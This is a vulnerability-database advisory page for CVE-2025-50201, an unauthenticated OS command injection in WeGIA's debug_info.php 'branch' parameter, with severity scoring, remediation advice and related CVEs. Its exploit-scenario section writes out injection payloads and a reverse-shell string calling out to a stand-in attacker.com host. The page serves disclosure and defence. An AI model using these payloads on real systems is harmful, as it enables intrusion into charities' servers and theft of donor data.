Skip to main content

Wegia EUVDEUVD-2025-18681

| CVE-2025-50201 CRITICAL
OS Command Injection (CWE-78)
2025-06-19 security-advisories@github.com
9.8
CVSS 3.1 · GitHub Advisory
View

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization OS command sanitization, avoid shell exec
MITRE ATT&CK

2 techniques across 1 tactic: Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Impact

This vulnerability presents exceptional real-world risk across multiple dimensions: (1) CVSS 9.8 reflects maximum severity—network-accessible (AV:N), trivial complexity (AC:L), no privilege requirement (PR:N), no user interaction (UI:N), with impact to confidentiality, integrity, and availability (C:H/I:H/A:H). (2) Attack surface is expansive: the vulnerable endpoint is unauthenticated and directly web-accessible, eliminating a critical security barrier. (3) The lack of complexity (AC:L) and the stateless nature of injection attacks mean exploitation requires minimal sophistication. (4) If no KEV designation exists yet, the public disclosure and high CVSS score create strong incentive for rapid weaponization by threat actors. (5) Charitable institutions operating WeGIA typically lack enterprise-grade security monitoring, making detection difficult. The likelihood of active exploitation is extremely high once this advisory reaches the broader community. This is not a 'high-CVSS-but-low-risk' scenario; all severity signals are aligned toward urgent priority.

Exploit ScenarioDerived

An attacker discovers a WeGIA instance via port scanning or passive reconnaissance (exposed debug info pages, web footprinting). The attacker crafts an HTTP GET or POST request to http://target.org/html/configuracao/debug_info.php?branch=master;id;whoami or branch=master$(whoami) or branch=masterid. The web server processes this request without authentication. The vulnerable debug_info.php concatenates this input into a shell command such as git log --branch=master;id;whoami or similar. The semicolon or command substitution operator allows the injected id and whoami commands to execute, returning UID/GID information and proving RCE. The attacker escalates to a full shell via reverse shell payload (e.g., branch=master;bash+-i+>%26+/dev/tcp/attacker.com/4444+0>%261) and gains interactive command-line access with www-data privileges. From there, the attacker exfiltrates sensitive donor data, charity financial records, or personal information, or pivots to internal systems. Time-to-exploitation after public disclosure: hours to days, depending on attacker sophistication and public POC availability.

Act Now Prioritize within 24-48h. Why: CRITICAL severity + public POC available.
Patch available 30.1% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – Mar 15, 2026

Critical OS Command Injection vulnerability in WeGIA (a web management system for charitable institutions) versions prior to 3.4.2, affecting the /html/configuracao/debug_info.php endpoint. An unauthenticated attacker can inject arbitrary operating system commands via the unsanitized 'branch' parameter, achieving remote code execution (RCE) with www-data user privileges. With a CVSS score of 9.8 and network-based attack vector requiring no authentication or user interaction, this represents an immediate and severe threat to all unpatched WeGIA deployments.

RemediationAI

Immediate actions: (1) Upgrade WeGIA to version 3.4.2 or later—this is the canonical patch and should be deployed as emergency priority. (2) If immediate patching is not possible, implement network-level mitigations: restrict HTTP/HTTPS access to /html/configuracao/debug_info.php using WAF rules, firewall ACLs, or reverse proxy configurations to block public access (allowlist only trusted internal IPs). (3) Disable or remove the debug_info.php endpoint entirely if not in active use (recommend backing up for audit purposes first). (4) Deploy input validation at the WAF or proxy layer to reject requests with shell metacharacters in the 'branch' parameter (e.g., block |, &, ;, `, $, parentheses, backticks). (5) Review logs for evidence of exploitation (look for encoded/obfuscated payloads in HTTP parameters or system command logs). (6) Monitor process execution for suspicious child processes spawned by the web server. Contact WeGIA vendor support for official advisory links and patch delivery mechanisms.

Affected VersionsENISA

WeGIA < 3.4.2

Affected Packages

euvd wegia fix: 3.4.2

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability is rooted in CWE-78 (Improper Neutralization of Special Elements used in an OS Command, also known as OS Command Injection). WeGIA's debug_info.php script concatenates user-supplied input from the 'branch' parameter directly into a shell command executed via functions like exec(), system(), passthru(), or similar OS command invocation mechanisms without proper input validation or parameterization. The application fails to employ command-level input sanitization techniques (such as escapeshellarg() in PHP, parameterized command execution, or strict allowlisting of branch values). This permits shell metacharacters (|, &, ;, `, $(), etc.) to break out of the intended command context and execute attacker-controlled payloads with the privilege level of the web server process (typically www-data on Linux/Unix systems).

Know when Wegia gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

GitHub Advisory PRIMARY 9.8 CRITICAL
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

Primary rating from GitHub Advisory · only source for this CVE.

CVSS VectorGitHub Advisory

Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High

Lifecycle Timeline

3
Patch released
Mar 15, 2026 - 00:08 nvd
Patch available
PoC Detected
Jul 02, 2025 - 16:21 vuln.today
Public exploit code
CVE Published
Jun 19, 2025 - 04:15 nvd
CRITICAL 9.8

DescriptionGitHub Advisory

WeGIA is a web manager for charitable institutions. Prior to version 3.4.2, an OS Command Injection vulnerability was identified in the /html/configuracao/debug_info.php endpoint. The branch parameter is not properly sanitized before being concatenated and executed in a shell command on the server's operating system. This flaw allows an unauthenticated attacker to execute arbitrary commands on the server with the privileges of the web server user (www-data). This issue has been patched in version 3.4.2.

Executive ViewAI

Why It Matters

A critical unauthenticated remote code execution vulnerability in WeGIA (version <3.4.2) allows attackers to execute arbitrary commands on servers hosting charitable institution management systems. Exploitation requires no authentication and has active public exploits, posing immediate risk to any organization using this software-attackers could gain full server control, compromise donor data, and disrupt operations.

Business Impact: Severe
Compensating Controls

Apply vendor patch. If immediate patching is not feasible: (1) Implement WAF rules to block requests to /html/configuracao/debug_info.php or sanitize branch parameter input; (2) Restrict network access to WeGIA administrative endpoints via firewall/VPN; (3) Disable debug_info.php functionality if not operationally required; (4) Deploy intrusion detection signatures for CVE-2025-50201 exploitation attempts.

Threat Intelligence Overview

Threat Score
4.4/10
Composite threat intelligence
EPSS Score
30.1%
Top 3% exploitable
Exploit
POC
Public exploit code exists
Data Quality
5 sources
Confidence: Medium

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity CRITICAL
CISA KEV No
Public POC Yes
EPSS 30.1%
Patch available Yes
Active threat Yes
Deciding rule
CRITICAL severity + public POC available
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Out-of-Cycle
Exploitation· derived
Poc
System Exposure· derived
Open
Automatable· derived
Yes
Human Impact
Very High

Priority Score

99
Low Medium High Critical
KEV: 0
EPSS: +30
CVSS: +49
PoC: +20
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

OS command injection occurs when an application passes unsanitized user input directly into system shell commands.

Related Vulnerabilities in WeGIA Injection Vulnerabilities

View all 2

More in Wegia

View all
CVE-2025-27140 CRITICAL POC
10.0 Feb 24

WeGIA is a Web manager for charitable institutions. Rated critical severity (CVSS 10.0), this vulnerability is remotely

CVE-2025-26613 CRITICAL POC
10.0 Feb 18

WeGIA is an open source Web Manager for Institutions with a focus on Portuguese language users. Rated critical severity

CVE-2025-55169 CRITICAL POC
10.0 Aug 12

WeGIA is an open source web manager with a focus on the Portuguese language and charitable institutions. Rated critical

CVE-2025-30364 CRITICAL POC
10.0 Mar 27

WeGIA is a Web manager for charitable institutions. Rated critical severity (CVSS 10.0), this vulnerability is remotely

CVE-2025-46828 CRITICAL POC
10.0 May 07

WeGIA is a web manager for charitable institutions. Rated critical severity (CVSS 10.0), this vulnerability is remotely

CVE-2025-26612 CRITICAL POC
10.0 Feb 18

WeGIA is an open source Web Manager for Institutions with a focus on Portuguese language users. Rated critical severity

CVE-2025-26617 CRITICAL POC
10.0 Feb 18

WeGIA is an open source Web Manager for Institutions with a focus on Portuguese language users. Rated critical severity

CVE-2025-26611 CRITICAL POC
10.0 Feb 18

WeGIA is an open source Web Manager for Institutions with a focus on Portuguese language users. Rated critical severity

CVE-2025-26609 CRITICAL POC
10.0 Feb 18

WeGIA is an open source Web Manager for Institutions with a focus on Portuguese language users. Rated critical severity

CVE-2025-26608 CRITICAL POC
10.0 Feb 18

WeGIA is an open source Web Manager for Institutions with a focus on Portuguese language users. Rated critical severity

CVE-2025-26607 CRITICAL POC
10.0 Feb 18

WeGIA is an open source Web Manager for Institutions with a focus on Portuguese language users. Rated critical severity

CVE-2025-26606 CRITICAL POC
10.0 Feb 18

WeGIA is an open source Web Manager for Institutions with a focus on Portuguese language users. Rated critical severity

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy